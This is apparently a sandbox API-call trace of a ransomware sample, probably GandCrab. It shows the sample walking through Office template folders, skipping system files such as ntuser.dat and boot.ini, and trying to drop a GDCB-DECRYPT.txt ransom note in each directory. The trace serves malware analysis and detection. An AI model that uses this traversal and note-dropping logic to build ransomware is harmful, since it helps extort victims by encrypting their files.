SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.697] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.697] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\") returned 99 [0135.697] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*" [0135.697] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x2c76c0 [0135.697] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.697] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.697] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.697] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.697] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.697] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.697] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.697] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt" [0135.697] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 115 [0135.697] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.697] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0135.697] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.697] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\\\GDCB-DECRYPT.txt") returned 116 [0135.697] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\document themes\\1033\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.697] GetLastError () returned 0x50 [0135.697] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\") returned 99 [0135.697] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*" [0135.697] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x2c7980 [0135.697] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt" [0135.698] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 115 [0135.698] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 115 [0135.698] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 115 [0135.698] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 115 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.698] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt" [0135.698] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt") returned 110 [0135.698] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt") returned 110 [0135.698] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt") returned 110 [0135.698] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt") returned 110 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.698] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt" [0135.698] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt") returned 94 [0135.698] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt") returned 94 [0135.698] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt") returned 94 [0135.698] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt") returned 94 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.698] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.699] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.699] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.699] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.699] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.699] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.699] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.699] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0135.699] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\" [0135.699] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.699] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.699] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.699] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.699] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned 96 [0135.699] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*" [0135.699] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x2c7980 [0135.700] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.700] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.700] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.700] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.700] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.700] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0135.700] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0135.700] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" [0135.700] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned 100 [0135.700] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.700] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.700] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.700] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt" [0135.700] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 112 [0135.700] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.700] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0135.700] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.700] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\\\GDCB-DECRYPT.txt") returned 113 [0135.700] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\smartart graphics\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.701] GetLastError () returned 0x50 [0135.701] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned 96 [0135.701] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*" [0135.701] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x2c7980 [0135.701] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" [0135.701] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\" [0135.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.701] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.701] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\") returned 101 [0135.701] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*" [0135.701] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x2c76c0 [0135.702] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.702] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.702] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.702] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.702] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.702] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.702] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.702] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt" [0135.702] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 117 [0135.702] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.702] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0135.702] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.702] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\\\GDCB-DECRYPT.txt") returned 118 [0135.702] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\smartart graphics\\1033\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.703] GetLastError () returned 0x50 [0135.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\") returned 101 [0135.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*" [0135.703] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x2c76c0 [0135.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt" [0135.703] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 117 [0135.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 117 [0135.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 117 [0135.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 117 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt" [0135.703] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 112 [0135.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 112 [0135.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 112 [0135.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 112 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 